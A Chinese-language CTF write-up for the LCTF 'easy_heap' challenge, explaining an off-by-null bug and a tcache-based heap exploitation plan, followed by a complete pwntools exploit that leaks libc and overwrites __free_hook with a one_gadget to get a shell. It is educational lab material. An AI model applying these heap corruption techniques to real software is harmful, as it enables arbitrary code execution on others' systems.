[off by null + tcache dup]lctf_easy_heap
1.ida 分析
-
malloc函数中输入content存在off by null
2.思路
-
通过off by null,造成chunk overlapping,泄漏Libc的地址
- 这里存在off by null 通过unstored bin就可以泄漏,但由于tcache的存在,需要注意
- 先申请10个chunk,释放3-9,填满tcache bin之后,再释放0,1,2编号的chunk进入unstored bin
- 这一步是为了构造出合法的presize
- 再次申请7个chunk,清空tcache bin,之后再申请3个chunk,编号为7,8,9在0xb1的堆下面
- free(8)将编号8的chunk放入tcache
- 释放6个chunk,此时tcache bin满了,释放编号7的chunk,进入unstored bin
- 申请6个chunk,只留下tcache bin中的编号8的chunk,rm_tcache(6)
- add(0x78,‘8’),此时chunk 8,触发off by null将chunk 9的preinuse设置为0
- free(9),此时触发向前合并
- rm_tcache(7),清空tcahce bin, add(2,‘a’) 即chunk 7
- show(7),泄漏libc的地址,则onegadget地址以及free_hook的地址就有了
- add(0x2,‘b’),之后内存中只有一个ustored bin 即chunk 9
- free(7),先往tcache bin中放入一个bin
- free(9),紧接着触发 tcache dup
-
通过tcache dup,将free_hook,修改为onegadget
3.exp
from pwn import *
#p = process('./easy_heap')
p = process(['./easy_heap'],env={"LD_PRELOAD":"./libc64.so"})
context.log_level = 'debug'
def add(size,cont):
p.sendlineafter('> ','1')
p.sendlineafter('> ',str(size))
p.sendlineafter('> ',cont)
def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('>',str(index))
def show(index):
p.sendlineafter('> ','3')
p.sendlineafter('> ',str(index))
def exit():
p.sendlineafter('> ','4')
def add0():
p.sendlineafter('> ','1')
p.sendlineafter('> ','0')
def fill_tcache(start,end):
for i in range(start,end,1):
free(i)
def rm_tcache(num):
for i in range(num):
add0()
for i in range(10):
add0()
#fill tcache
fill_tcache(3,10)
free(0)
free(1)
free(2)
#add chunk0-6
rm_tcache(7)
add(0x2,'7')
add(0x2,'8')
add(0x2,'9')
#tcache full
free(8) #last tcache bin
fill_tcache(0,6)
#unstored bin
free(7)
#only left chunk8
rm_tcache(6)
# set chunk9 preinuse = 0
add(0xf8,'8')
fill_tcache(0,7)
#triger overlap
free(9)
#gdb.attach(p)
rm_tcache(7)
add(0x1,'a')
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebca0
log.success('libc_base=>'+hex(libc_base))
libc = ELF('./libc64.so')
one = libc_base + 0x4f322
free_hook = libc_base + libc.sym['__free_hook']
log.success('one=>'+hex(one))
log.success('free_hook=>'+hex(free_hook))
add(0x2,'c')
#gdb.attach(p)
free(7)
free(9)
add(0x10,p64(free_hook))
fill_tcache(0,7)
rm_tcache(7)
#add(0x10,'d')
add(0x10,p64(one))
free(0)
#pause()
#gdb.attach(p)
p.interactive()